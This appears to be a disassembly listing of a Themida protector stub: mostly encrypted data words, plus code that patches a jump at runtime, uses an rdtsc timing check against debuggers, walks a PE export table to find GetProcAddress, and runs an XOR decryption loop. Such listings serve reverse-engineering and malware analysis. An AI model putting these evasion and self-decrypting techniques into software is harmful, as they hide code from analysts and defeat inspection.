		dd 0F534DBFh, 0D044CD4h, 0BA32FE1Bh, 0AF88F75Eh, 4971BD8Bh
		dd 0ED0C2B2Eh, 0D2E04CF8h, 0F908117Dh, 31BA80A6h, 0C288A4B5h
		dd 5E1A6874h, 5554779h,	63FE42DEh, 0B12CF415h, 4F9E1640h
		dd 30F49D7Bh, 0D0DA8Fh,	0F68C144h, 18B91EEBh, 817944ACh
		dd 336E6257h, 659571C5h, 0B4FA4E3h, 0B3F858D8h,	82A26FF8h
		dd 5DD48C2Dh, 0F4F72E6Bh, 24BA6829h, 43CE4BBAh,	8331FF5Fh
		dd 7022879Bh, 3951DCD4h, 0CB97FA7Fh, 0DDC6E8ADh, 725734F2h
		dd 7120F030h, 0F64481D3h, 0F56C1D18h, 2FCC6DF5h, 0BC2F9840h
		dd 0DB16336Bh, 7D34AE1Dh, 0D7D64C3Eh, 0F8ED5573h, 0C8D892B7h
		dd 4744895Ch, 37A2D613h, 0E2487818h, 0D2F29FA8h, 8DACBC9Dh
		dd 5EA65EBBh, 2EFC2001h, 0F7AB55E8h, 155C547Ch,	0C28AE677h
		dd 530038AAh, 0EBDF544Ah, 0D0FF66FDh, 6C6EBDCh,	0E9701049h
		dd 92EBB287h, 0C54FECD3h, 0FE8453E9h, 0C24E9801h, 0E0FCFA0Ch
		dd 843CBA78h, 31177483h, 31E030F0h, 3604C113h, 352C5D5Bh
		dd 529DAD35h, 79889105h, 1BC65AAFh, 7D7554BBh, 9BA28D7Fh
		dd 7FF53A31h, 0C57EC25Eh, 0C01A7B3Eh, 0E7CA2F41h, 72A7505Ah
		dd 0AEC1A5E0h, 0CD74C5C9h, 2F929E7Bh, 41704EDDh, 8A9267D5h
		dd 0BDB68415h, 8B5DDA6h, 108687ECh, 2BE4FA02h, 5951FBBDh
		dd 7F02BED2h, 55B05019h, 69B6424Bh, 0D1311DDEh,	0ECBA26E1h
		dd 520930D4h, 21FE8500h, 1ABBE3D6h, 9F4B3ADEh, 30A06089h
		dd 63C577B7h, 979AEA5h,	0BD2A562Ah, 13EE7AAh, 0FE8C4AECh
		dd 0FDA415E1h, 9E5265ADh, 0C5958753h, 0E33E021Eh, 0F06CB655h
		dd 0A31FA1ACh, 0C9C8E888h, 1EF69EDFh, 7E48C17h,	0BF6BA0BEh
		dd 0D2250A69h, 32AE32AEh, 2DBAD425h, 87A1E795h,	6930E321h
		dd 5E3A00Fh, 0B7945C44h, 86466B5Ch, 61F090C9h, 136B320Fh
		dd 4DCF6C53h, 7E07D369h, 42CE1881h, 833DBB0Fh, 0A80E145Dh
		dd 0CF22C766h, 8BBF48E3h, 9679BD88h, 0B5ACDD21h, 57FA86D3h
		dd 0DC6D5DB0h, 63C57249h, 409C957h, 74C40E9Bh, 0A87A708Ah
		dd 33BCC25Ah, 41A90315h, 675A867Ah, 7C881871h, 40C16B80h
		dd 445C1AD6h, 92B714E3h, 5140D010h, 966461B3h, 0D58C3DF8h
		dd 0CAE30DD5h, 19E80A71h, 1EAC2B85h, 5D44CEADh,	0A732850Dh
		dd 98CC559Bh, 0AB7472D7h, 1AF3EE8Ch, 0BEBE33D4h, 296B5841h
		dd 0E7E2FB7Fh, 5440195Ah, 0FF23ECBh, 9155E409h,	6ACA07C0h
		dd 0F57C2475h, 9DDFC593h, 0C621B629h, 214DE210h, 7DDC53E2h
		dd 0F79DB1B1h, 3E6F0A38h, 5A3A1750h, 5EC34C5h, 0AF6EDE03h
		dd 0A1E2B181h, 1489E072h, 0B420397Ah, 2FD25EABh, 0FB7410E9h
		dd 0F604A5A7h, 154C7D39h, 0BA9006B2h, 599C8028h, 0C29A8FCDh
		dd 79D4CCEDh, 3B86EE28h, 188FF8F2h, 0E22E4D78h,	0DC3BBC1Fh
		dd 7F9C091Ch, 0CC2278EEh, 0B460343h, 4B6C770Bh,	0B84D8162h
		dd 0E1D9A44Ch, 930EE2F7h, 0BE781025h, 5FE78D94h, 5298B8C3h
		dd 0E787C36Eh, 38FEB46Dh, 5F32B777h, 0F8EFD893h, 26892D98h
		dd 45BC4D11h, 0E79A16C3h, 316EB485h, 0AE3C994Fh, 0CD74C531h
		dd 0D7F49490h, 0B4CAA056h, 0B3FEDBABh, 0C3F42F63h, 0B5D9CAh
		dd 89414CE4h, 3BA6698Fh, 568B78BCh, 0DF872524h,	0A30405Bh
		dd 3F167B8Fh, 0E07B5D46h, 7AA0F27h, 0A968D8D1h,	0CE9B748Ah
		dd 0ED542551h, 0F32B6D1h, 0C9D36370h, 9703063Ah, 0B4FCB4C1h
		dd 9C9A4EF3h, 0DF5E0BEAh, 3D46BBD7h, 720C4A36h,	9F5AA64Bh
		dd 0A01270F9h, 4866B941h, 83197DD0h, 0E7ABEEE5h, 0A7853D7h
		dd 92DD7275h, 88D3C3F2h, 0AF42E7BFh, 0D1808069h, 3C2538E3h
		dd 0D768414Eh, 0FF2166E3h, 31C440A8h, 84995330h, 0F53E8FCDh
		dd 403D17AEh, 58601554h, 86E93217h, 0A55CEDB1h,	677A7663h
		dd 0C2FF1EE4h, 923DE247h, 62C0F66h, 44E2D5E3h, 612208C4h
		dd 9B1B4377h, 0B4BCF4E7h, 73AE0DEAh, 91A5A105h,	1046DA3Fh
		dd 2D36E0E0h, 5727258Bh, 76D0A0FBh, 33C7D662h, 0C52CB415h
		dd 9058E243h, 0D4A93A9h, 28E18C9Fh, 5DA6B870h, 6B1D1EFBh
		dd 9140C1F0h, 336E6FBFh, 87D94F85h, 4486E3FDh, 55BC66D3h
		dd 2ED9EA43h, 5D44B24Fh, 0BD5AABE2h, 2AE3D089h,	9BDD4E9Fh
		dd 6E24670Ah, 9ED28260h, 0A297A7A4h, 0DBD442EAh, 2FC7C7ADh
		dd 0D377B7D7h, 0B220F04Bh, 0D6C78A75h, 0F56C6685h, 6882B518h
		dd 39D8E872h, 2FF4E2EFh, 0C0BF53E2h, 1F720CF3h,	3576182Fh
		dd 0F6356D58h, 5FC766Dh, 0A4129C88h, 8763747Bh,	0E473F3DCh
		dd 8DA5DC05h, 755651BBh, 0D20000E8h, 636C1EA2h,	6DE94745h
		dd 1B8AF631h, 0DCB7609Dh, 0FBE62A6Dh, 0B6108A70h, 2F0016AEh
		dd 0B1761359h, 7C6A116Fh, 9D71D74Ah, 0C7FAE6A1h, 2E139364h
		dd 10D53533h, 4684DC6Ch, 0F7274797h, 0FEE0308Bh, 930FCF72h
		dd 4DB96725h, 0B16A1611h, 5C679000h, 1B3ACFA0h,	0FD7FECDDh
		dd 6B61A509h, 0F536D869h, 1E472D98h, 45BC362Dh,	0E73E93CCh
		dd 0C0BB8F1h, 2B2618A3h, 8F1C794Eh, 6F199E6Bh, 1ECC0782h
		dd 0B3EE2F55h, 5D5BBF05h, 0F78EA53Ch, 59FBC861h, 2FE1698Dh
		dd 9FAC89BEh, 2F50AEFBh, 63E8E5E6h, 56A1F257h, 659CAA47h
		dd 87AB3F9h, 0A9E86F54h, 4B8A93FFh, 12781C2Dh, 8FE63B54h
		dd 0F206089h, 584B0DA2h, 0FEFCA4E5h, 54014755h,	4CB0B875h
		dd 6279759Ch, 0EDF69420h, 9C95BBCBh, 5152CC7Ch,	9BBB1127h
		dd 0C6CA417h, 37D8B206h, 0F2C873B1h, 7BB4465Ah,	362C4E0Dh
		dd 0BF103EBEh, 6CE9F269h, 83AE2297h, 8A34F3B7h,	0BA0A66F3h
		dd 18B3F46Fh, 3965A864h, 0F911776Dh, 0CAC2FEE9h, 713413D5h
		dd 479103F8h, 4E2DC811h, 0C2F5B578h, 0E9B85A09h, 0F36331DFh
		dd 0C5044CAFh, 30CD0A88h, 71600928h, 1DFBC277h,	0C7B0A38Eh
		dd 5FADBDDAh, 624AA0Eh,	940F35D0h, 0C28ADED8h, 0FB9E8574h
		dd 0A8541738h, 0DC0152E7h, 87C71BEAh, 77EDCC2h,	47683871h
		dd 0A73D1AACh, 8961FBE9h, 66120EB9h, 810200ACh,	0BBD7EF57h
		dd 0D69C04ACh, 6788DE36h, 0BC5D2EE1h, 0B8E0C141h, 1F7F987Fh
		dd 4C4E867h, 0F2311771h, 46DE72C7h, 6C0C14F5h, 0D9654A65h
		dd 0BC970F92h, 0CB86C401h, 62DB746Ch, 0FF3245Eh, 0DB74B009h
		dd 0ACB1E81Fh, 0E542FAF0h, 0C86A4393h, 38DDE0CEh, 57EE0AEFh
		dd 95CB53F9h, 1F624E5Ah, 87E4952Ah, 30DBFECEh, 779957B0h
		dd 0E663A26Ah, 5FD8731h, 14760A1Dh, 9D9A8E18h, 7B57D7BBh
		dd 390010ABh, 732EA20Eh, 74082116h, 0C0C58318h,	2ACAEDCFh
		dd 0AB9643A7h, 0F462A58Fh, 5A250B47h, 0BC984759h, 6B614D6Fh
		dd 25CC54A6h, 0A2A893B0h, 1B47EC62h, 62246A5Ah,	0C8E8B51Bh
		dd 18B21BFCh, 0E081F21h, 931C2A08h, 506F6425h, 0BC096711h
		dd 0BC8D8F4h, 77AF3CC6h, 0BD918BB8h, 0B700665Ch, 19B8CFC6h
		dd 0F07ED267h, 24C437F0h, 0A9BF71ADh, 0EF61CC9Eh, 42440A66h
		dd 0A808953Bh, 3892FB1Ch, 0EE27BF41h, 3EBAB228h, 45211480h
		dd 0A72E4C33h, 662FC90Bh, 2B98801Ah, 0F9E885BDh, 41243B14h
		dd 0E11A5009h, 82164FCAh, 35DC9465h, 970FC9F3h,	0C1E8C8ECh
		dd 4B127AFEh, 0BA457679h, 0CD262BA4h, 5BF46099h, 463155B3h
		dd 75ECE6B1h, 0E83E8290h
		dd 0A91AA4F4h, 3913756Fh, 0A2B43CA3h, 0D7574308h, 171060B8h
		dd 0DD5887D8h, 7DEFB445h, 9C1E597Ch, 40C8F8B1h,	7BB4C25Ah
		dd 5B24560Dh, 91F04BC4h, 91058079h, 0F30AA698h,	55F7C4C5h
		dd 346036A3h, 0B1396271h, 0BB66AA4Fh, 5F01B32Bh, 3CC2FE95h
		dd 0E5FF6F21h, 31E3400h, 0E71051BCh, 0CAF77673h, 0E9B85AF1h
		dd 0C9BE2F32h, 7F555CFDh, 3062FE71h, 615ECEDCh,	0EC76C177h
		dd 0B06960AAh, 578086D3h, 0BB449DFEh, 0EB9CA3Fh, 3D645237h
		dd 0D05DF608h, 81D50E3Dh, 537BDBE7h, 0F62CE457h, 3699958Ah
		dd 0DE26921h, 0F70325CEh, 0B2E46C8Fh, 0FF2C586Eh, 9E804529h
		dd 336BF8D3h, 5C553785h, 6788D236h, 48A919E1h, 0B426F567h
		dd 0C8ABDC3Dh, 0FF9210E5h, 25BF101Ch, 43DE7794h, 0A774917Ch
		dd 3FF9B633h, 29682ABAh, 3CAEB1F4h, 7DFD1828h, 0FF23EDBh
		dd 0B2269529h, 435EEAB2h, 0F6AE1765h, 605B3152h, 0BD5DE120h
		dd 63061AADh, 7D348592h, 1C5E05C0h, 0D18098FCh,	606CA1A7h
		dd 0F21DC314h, 0DB9F5FE2h, 8A486873h, 0ED3DAD50h, 915F74h
		dd 98DD46E8h, 10314AAh,	5BEFC95Eh, 2FDD9446h, 0D9E3912Ch
		dd 0DAA5FC58h, 89E726B5h, 0A15F471Dh, 3C562CA0h, 0A5FD001Bh
		dd 5A694DCFh, 0A0F79596h, 0C7EAB493h, 4D7C13D2h, 8496092Fh
		dd 0AD8464EFh, 8039BD9Bh, 4C6D2B22h, 931E83BFh,	6E3EFD9h
		dd 0B656AA9Ah, 3A4AEF3h, 3BEA48D8h, 0C9A8D077h,	2B0CB2E7h
		dd 74500CE4h, 28B7318Fh, 1DE94994h, 0ECAE1686h,	0DB4BEBCCh
		dd 18B3551Fh, 469B03B2h, 26C5A378h, 95CF03E7h, 4C111DF1h
		dd 5FD338h, 0ECCE297Dh,	0A487379Eh, 99529D8h, 22C488B2h
		dd 2F3F5114h, 2E7F044Ah, 3CA1F7C3h, 8D57A78Ah, 0F845C88Eh
		dd 5300C8A4h, 0A3E98503h, 12BBE20Ch, 719E3A54h,	0E3939F76h
		dd 0D3CE145Fh, 8A9F4CE5h, 17C2B9ECh, 0E458E841h, 6F9567EEh
		dd 75D2C8Dh, 0FBE2CEC8h, 0F49B4206h, 0E32E505Fh, 0E34E3D31h
		dd 7DD76802h, 0CA2B7DBEh, 357D9ADFh, 6BFA3F31h,	0EA02E5BAh
		dd 52530566h, 0B0592297h, 95FCC4D3h, 0F18F69F3h, 2F380822h
		dd 7464F60Ch, 1D97F0F9h, 0B78165ABh, 0C15030E4h, 0AD9A3DA7h
		dd 984CD436h, 675A5643h, 0EA0B9C9Eh, 5DBABFh, 2D045C25h
		dd 2763E8F8h, 8E9F4FC1h, 5132CF74h, 7BBFE4B5h, 57AAE750h
		dd 0F95C4982h, 64B851C7h, 47F663A2h, 5CA20E88h,	9192701Ch
		dd 617552E7h, 0D5667F1Dh, 63295768h, 0C63F842h,	0E13F129Ch
		dd 0CD61F5DDh, 0EC120EB9h, 91F8CC63h, 626E6357h, 2A7ABA6Dh
		dd 0F55F964Ch, 0A8F858D8h, 3893DA2Fh, 37549C04h, 0A74BD04Bh
		dd 558C4E1h, 0C6218D21h, 27981B27h, 120B54F0h, 297861D5h
		dd 4E611F94h, 6DD4A529h, 0EF23EDBh, 34D7C27Dh, 535EBBB3h
		dd 0F57C2466h, 322BCAE6h, 39C85145h, 20F9F510h,	0F0B5A6F6h
		dd 1F7277CFh, 0C990F079h, 63BE94CFh, 3846DD5h, 0FF1AD603h
		dd 0B6AE2ED9h, 97F390A0h, 0BA4ACB4h, 16AE743Fh,	548800F9h
		dd 733E9B6Bh, 90ABA4A7h, 0B79ADFF7h, 59B888A9h,	466623BAh
		dd 9D04F583h, 0C8871A2Ah, 0F14994DCh, 839EB287h, 0A5D720BDh
		dd 0D7C38A5Eh, 0D95C9D11h, 322B87BFh, 0D981DC7Dh, 310FFE3Ch
		dd 0F4E030F0h, 16F95C83h, 352C5DA1h, 0C76A0653h, 0C418A1F5h
		dd 1BD673D3h, 3E7D9BDFh, 4F604AAEh, 0A7B83039h,	4B812D95h
		dd 0BA5389D6h, 0E7D8672Bh, 0F59533F1h, 28364A5Dh, 0DD267CD0h
		dd 93C9767Bh, 95CFBF56h, 0B3EEE086h, 1764318Eh,	0A9C12623h
		dd 71A6CB5Dh, 0C45997D3h, 0DFEF8EB2h, 3583AEEBh, 2130303Dh
		dd 91A079A7h, 71F69723h, 0F0AA4CA0h, 0B9D15C54h, 4B167AFFh
		dd 6450690Dh, 9F3076E6h, 0A115ED89h, 58CE128Eh,	65ECCC68h
		dd 408EB513h, 0B9528CF8h, 5B33076Fh, 0EB43C8Dh,	7CE27F6Eh
		dd 0B6B483FBh, 0F30796A2h, 856CB455h, 891E59A3h, 36C8F8B1h
		dd 0BA1EB2ACh, 86DBC3E0h, 0BF1066AEh, 5E520569h, 0F3AEBA13h
		dd 0ED694FC5h, 0BC0A76B1h, 93B9186Bh, 7B66CA6Bh, 15DE679Dh
		dd 76F1ECD8h, 5AE4E2DAh, 130E5A8Ah, 0CDC15F35h,	357A6673h
		dd 0CD9493C7h, 9BBE1F3Ch, 0AE045CFDh, 0CF3296BCh, 0BEBA049h
		dd 1BC4437Fh, 423B13A6h, 15660358h, 7CEF2811h, 9B56F3ABh
		dd 3D746C1Dh, 0C7550CFFh, 0A8DCC2BAh, 0E74BDBD7h, 4E2CE457h
		dd 575BBE30h, 300CBD86h, 0ABF6DA8Fh, 4F907CCDh,	743060Ch
		dd 6EBF3C02h, 3062890Eh, 0A7B72CF6h, 849CF7BFh,	94A11745h
		dd 0AB1F7ABAh, 95E9053Dh, 0C823E29h, 0AEEE8F3Dh, 0C453E0F6h
		dd 0E50C15CAh, 0BEB82319h, 2F1D5841h, 9DEE2816h, 0E4A28E99h
		dd 281AD78Bh, 0EBDF1FD3h, 5042C8BCh, 708B342Fh,	97BAFF17h
		dd 19D868C1h, 0AE034B62h, 0B9B9250Eh, 1C625E09h, 0D18098FCh
		dd 0B1911A7h, 5EC34D5h,	2E329528h, 49482BB6h, 0ABF3ED5Fh
		dd 8CA4ACB2h, 5BD25EBBh, 0D943C7EEh, 0D38E02B7h, 2CD8C1B2h
		dd 0B78AE663h, 5ECC98A1h, 0CBDC29Dh, 164E3302h,	2F00AAA6h
		dd 6875F359h, 8E759ACCh, 670CD93Eh, 0C519F6F3h,	22A39BFAh
		dd 8FD3CD17h, 0AE84CC54h, 3BB27E9Bh, 3965ABDDh,	900ED2B5h
		dd 257ED4A8h, 7BEF0553h, 7898B8C3h, 0B8CC1A7h, 0FF886956h
		dd 151B8E1Bh, 88534331h, 0E17FDA2Dh, 1DCFF785h,	635F9DC3h
		dd 0E108A8B3h, 2B36738Fh, 946CBE4Ch, 0E5C2DD7Ah, 1F9C23Ch
		dd 376B15D7h, 551C943Ch, 836A2633h, 0F1F5CB67h,	8DA67A9Fh
		dd 5951FBBDh, 7F02BED2h, 54305219h, 34980C53h, 75B510F0h
		dd 3BA36A3h, 23EEADD1h,	5B2FF94Ah, 69C1EB2Dh, 8F72AE62h
		dd 44A060C9h, 0D1C988BCh, 0A3FE0E27h, 1EC1B1F1h, 7B6AEFCBh
		dd 0B95088C5h, 99661F6Ah, 1086EC40h, 0FC9328FBh, 0E32E507Bh
		dd 3AE8BB55h, 0D865A979h, 0D98A8004h, 0D96365DFh, 0F2242C33h
		dd 0BF10AA8Eh, 77157F69h, 7EAE32A9h, 859EA448h,	5F9FEBF3h
		dd 88381863h, 8466C01Dh, 0DD610C8h, 195711ABh, 9EF080E7h
		dd 135C6EB2h, 83D92B35h, 0CA7A665Dh, 0F9E95024h, 0D36345BFh
		dd 7B044CAFh, 0F1906BE4h, 0D4E3A059h, 139E002Bh, 0B55427A5h
		dd 0AEA86D3h, 1499296Bh, 9B56F2A0h, 0FC7B9C05h,	0CFB78E0Eh
		dd 421035B9h, 0D3019A64h, 45A9351Ah, 0A45A8656h, 2388284Ch
		dd 0CDAAAF9Fh, 41C0004Ch, 0FC676F97h, 6E842849h, 361B9DA8h
		dd 2A66B16Dh, 88184E4Ch, 3799B71Eh, 0ED5EC7F0h,	78EC9E09h
		dd 9F822E6Bh, 5E4F7571h, 0C8E70738h, 683C30B1h,	977BFE96h
		dd 2138D351h, 0CDAC7B19h, 3BE1EFAFh, 0F0F23EB3h, 0DBE46B09h
		dd 0AC1ED037h, 0E542D6F0h, 9F6E4593h, 6845640h,	0D87356D0h
		dd 95306A9Eh, 0E09DB429h, 3E6F8F91h, 0DB7DF358h, 5EC34A1h
		dd 88A267E8h, 0A1487831h, 0EB761A42h, 35A49C4Fh, 2FD25E8Bh
		dd 0D1001001h, 730A6017h, 155DC1FDh, 0B7890E73h, 757A88A1h
		dd 0DFB2A7CFh, 1E3A01F1h, 263E6ED3h, 0E170F839h, 0D715B287h
		dd 0AE916491h, 0A11777F9h, 81288828h, 0F4A9DAD8h, 0AD801E0Ch
		dd 49B07F98h, 0CB6527CCh, 0ABB7C0FBh, 119415FFh, 0FF8B0100h
		dd 0B8h, 0C00B6000h, 0E86874h, 58000000h, 5305h, 0E9388000h
		dd 0EB611375h, 372DDB45h, 0FF005150h, 0FFFFFFFFh, 3DFFFFFFh
		dd 0E840h, 25580000h, 0FFFFF000h, 0BB66FF33h, 83665A19h
		dd 396634C3h, 0F127518h, 33C50B7h, 44E9BBD0h, 0C3830000h
		dd 741A3967h, 10002D07h, 0DAEB0000h, 3EB8F88Bh,	3001866h
		dd 526AB9C7h, 0CF030011h, 3EB80AEBh, 0B9005866h, 51526Ah
		dd 84E85150h
		dd 0E8000000h, 0
; ---------------------------------------------------------------------------
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	near ptr byte_621BE1
; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 264C98h, 53h dup(0)
		db 0
byte_621BE1	db 3 dup(0)		; CODE XREF: Themida_:00621A2Dj
		dd 1BAh	dup(0)
		dd offset loc_61F000
		dd 0B66h dup(0)
dword_625068	dd 7E6h	dup(0)	; ---------------------------------------------------------------------------
		call	$+5
		mov	eax, [esp]
		cld
		mov	[eax+32C7h], ebx
		mov	ecx, [eax+297Fh]
		mov	ebx, [esp+4]
		and	ecx, 10000000h
		jz	short loc_62704C
		pop	ecx
		mov	[eax+32CBh], esi
		mov	cl, [eax+2983h]
		mov	[eax+32CFh], edi
		cmp	cl, 0E8h
		jz	short loc_627041
		mov	ebx, [eax+2985h]
		jmp	short loc_62704A
; ---------------------------------------------------------------------------


loc_627041:				; CODE XREF: Themida_:00627037j
		add	ebx, [eax+2984h]
		mov	ebx, [ebx+2]


loc_62704A:				; CODE XREF: Themida_:0062703Fj
		mov	ebx, [ebx]


loc_62704C:				; CODE XREF: Themida_:0062701Fj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 111FF1h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+103990h]
		mov	ecx, 0FCh
		rep movsb
		call	sub_627125
		mov	ecx, eax
		call	sub_627125
		sub	eax, ecx
		jz	short loc_6270F7
		cmp	eax, 100h
		ja	short loc_6270F7
		and	ebx, 0FFFFF000h


loc_62708B:				; CODE XREF: Themida_:0062709Aj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_62709C


loc_627094:				; CODE XREF: Themida_:006270A9j
		sub	ebx, 100h
		jnz	short loc_62708B


loc_62709C:				; CODE XREF: Themida_:00627092j
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_627094
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_6270B6:				; CODE XREF: Themida_:loc_6270CAj
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_6270CA
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_6270CF


loc_6270CA:				; CODE XREF: Themida_:006270BFj
		loop	loc_6270B6
		pop	ecx
		jmp	short loc_6270F7
; ---------------------------------------------------------------------------


loc_6270CF:				; CODE XREF: Themida_:006270C8j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+10113Fh]
		mov	dx, [eax-17h]
		call	sub_62712A
		jmp	short loc_62713F
; ---------------------------------------------------------------------------


loc_6270F7:				; CODE XREF: Themida_:0062707Cj
					; Themida_:00627083j ...
		mov	eax, [ebp+103984h]
		and	eax, 10000000h
		jz	short loc_627123
		mov	edi, [esp+4]
		lea	esi, [ebp+103988h]
		lodsd
		mov	ebx, [ebp+1042CCh]
		stosd
		movsb
		mov	edi, [ebp+1042D4h]
		mov	esi, [ebp+1042D0h]


loc_627123:				; CODE XREF: Themida_:00627102j
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_627125	proc near		; CODE XREF: Themida_:0062706Ep
					; Themida_:00627075p
		rdtsc
		retn
sub_627125	endp

; ---------------------------------------------------------------------------
		jo	short loc_62719D

; =============== S U B	R O U T	I N E =======================================



sub_62712A	proc near		; CODE XREF: Themida_:006270F0p
		push	ebx
		mov	ecx, 2845h
		mov	ebx, edx


loc_627132:				; CODE XREF: sub_62712A+11j
		xor	[eax], dl
		sub	dl, bl
		xchg	bl, bh
		inc	eax
		xchg	dl, dh
		loop	loc_627132
		pop	ebx
		retn
sub_62712A	endp

; ---------------------------------------------------------------------------


loc_62713F:				; CODE XREF: Themida_:006270F5j
		cwde
		jg	short $+2
		add	[eax-3C8AB332h], dl
		retn	5508h
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0F02B0CA5h, 99BE7F88h, 20BC8670h, 5091280Fh,	2F5E029h
		dd 0F5A46126h, 0DE8F5618h, 83040103h, 7597B66Eh, 1028BE81h
		dd 3052AD2Dh, 240987DFh, 4F581B5h, 0FFD27256h, 4FE9205Fh
		dd 0FE51C991h, 18EE705Fh, 100883B8h, 0B42D6010h, 0AFC33FF4h
; ---------------------------------------------------------------------------
		cdq


loc_62719D:				; CODE XREF: Themida_:00627128j
		pop	ds
		retn
; ---------------------------------------------------------------------------
		db 5Eh
		dd 157010DDh, 310F2F3Dh, 50A44014h, 0E0AB578Ch,	4AD814Bh
		dd 723E159Ah, 0DDF2C06Fh, 7036F5AEh, 85D0853Ch,	0B7B120DDh
		dd 0C5E4E564h, 738E6011h, 0BD00BEh, 9541A035h, 50CCD5CBh
		dd 0F8536369h, 90101096h, 6CAFE6CAh, 0D14450A5h, 0CE6CD558h
		dd 0A5F580FBh, 3082B5F9h, 0ED21092Ch, 70D6DE07h, 1D0820E2h
		dd 0EFFA206Eh, 0EE6AD578h, 18EF60B1h, 0C4CC8FA4h, 0BB62A0D5h
		dd 1016D4A8h, 70FE230Ah, 19B80033h, 0A0F416B8h,	0A2082857h
		dd 0F0946071h, 2EAE1574h, 0F0B7A0B5h, 52A244B0h, 0FDF1E0D9h
		dd 80900046h, 975AB0Dh,	0D0B44C9Ch, 0E0CE8DC0h,	8565804Bh
		dd 3012B229h, 0B2E3657Ch, 0FB160C2Ah, 0A3586A3Fh, 25E7791Dh
		dd 0D0945BB2h, 0C15CBE2h, 0EEA8D7A2h, 5885BC02h, 50EDC05Ch
		dd 4E307586h, 54A30083h, 0BFFAA58Dh, 0D056DF43h, 0F004F7E1h
		dd 10E08191h, 5822A011h, 50BDC02Fh, 4EE075B6h, 50750073h
		dd 0B288A472h, 0D04E4097h, 0F03E08E1h, 103280CFh, 677E4824h
		dd 38DCC195h, 70A7E018h, 0AEF695CCh, 0BAB2205Dh, 2FF44167h
		dd 0E0305614h, 102D689Bh, 61ABA0B5h, 3A5CC0CDh,	7A95B9E9h
		dd 56F0A69h, 0B0BA1EB7h, 5307B1DCh, 0E0E036ECh,	94F7806Bh
		dd 3012A2B1h, 502CC677h, 3412AEB9h, 6F604C9Fh, 0A0445278h
		dd 621CD07h, 0C3AE7036h, 0AE750DF2h, 81E2B06Bh,	25145361h
		dd 0F316E08Bh, 800EF21Eh, 344520BDh, 0D06442D7h, 0CEBCE57Ah
		dd 6067801Bh, 0EB372F24h, 0DBCCD007h, 60D83ADCh, 9170FF73h
		dd 8932A502h, 55BF40B7h, 0F05E5E07h, 9F69F024h,	20BB8F70h
		dd 9A114B0Fh, 93B6F017h, 91A1FF59h, 89D6A5D2h, 5D8F4067h
		dd 0F00E5E43h, 61C78948h, 79D72FC4h, 0B86CD0E6h, 7086E141h
		dd 0AFE8BD9Eh, 7F31203Dh, 922402Dh, 73EA109Eh, 5062839Ah
		dd 5A755996h, 0DD24AAAFh, 6043037Ch, 9069B9E3h,	0B40720FDh
		dd 2F5BBE5Ah, 7D1506CEh, 10D8CD4Fh, 9B94A065h, 0FB0887F2h
		dd 0E5AB04ABh, 90503D47h, 0B2D34661h, 12F7EB81h, 7B7B8203h
		dd 78A8EACFh, 30C2D2D9h, 50B60CC4h, 709C24E2h, 901000EBh
		dd 0E16A4A95h, 804A2AE5h, 0CE90F52Eh, 932080FBh, 0DCFAE0C1h
		dd 0DBACC06Dh, 0FBC68AEDh, 0FAA06A9Fh, 0E2F84A6Dh, 3C7C40EDh
		dd 9A2E60D3h, 0EF22D1BBh, 0E6F75F85h, 0F7CD0D1h, 7F696550h
		dd 90B107A7h, 0B07FAD3Dh, 69E45047h, 0F0FE6CCAh, 0B5EB6F00h
		dd 20324D24h, 0D5C1C0AFh, 7076F49Bh, 0C4D0E00Ch, 4FF00067h
		dd 0EE6AD5D8h, 304B6051h, 0F8DCF504h, 3002A13Ah, 501CD167h
		dd 3453B3A9h, 0F72562A6h, 0C603528Dh, 0B7E12C9Eh, 18C96074h
		dd 10B8857Bh, 729E15BAh, 0C513C04Fh, 7016DE1Bh,	0B6B5FFC4h
		dd 0DA3A3093h, 2F562AC7h, 0E0503674h, 11A039FBh, 1B35A015h
		dd 74B049CEh, 0E529B71Dh, 90E03EF9h, 1589D64Eh,	0D0347FA1h
		dd 0F6934B1h, 661E5Eh, 44B225E5h, 0AE0F8699h, 8F48921Dh
		dd 0FAC82447h, 4FF04A4Dh, 0C0CAD6F2h, 84CEE581h, 98C01347h
		dd 342A0B0h, 6ABF5106h,	4F4065D0h, 0A2E50013h, 948E5C9Ch
		dd 0A3B63354h, 315F4825h, 10F88ECCh, 6642F4D5h,	37C90CEh
		dd 4E087546h, 50E500C3h, 4F7554B4h, 5F9C6473h, 0E09156A4h
		dd 0ED0D683Bh, 0CFB15FAAh, 40C2E6FAh, 0F1980B89h, 90312867h
		dd 25B577BDh, 0D0747EF1h, 0CE58F50Eh, 0D071801Bh, 304D5FDEh
		dd 3ACCAA65h, 1AE68A59h, 90016873h, 74912089h, 0BA6440CDh
		dd 0F8AEBCDh, 4F10D639h, 382A0C1h, 0AF4628C6h, 0E53B1FD6h
		dd 90C01512h, 0E0BB710Fh, 0EE2ED588h, 349D6081h, 0EFB3438Bh
		dd 300AF89Dh, 506CF233h, 7086EE92h, 90A00012h, 0B0BA202Dh
		dd 0D0D44047h, 0F0EE49E5h, 1008807Bh, 0CF71F6C4h, 4002F23Ah
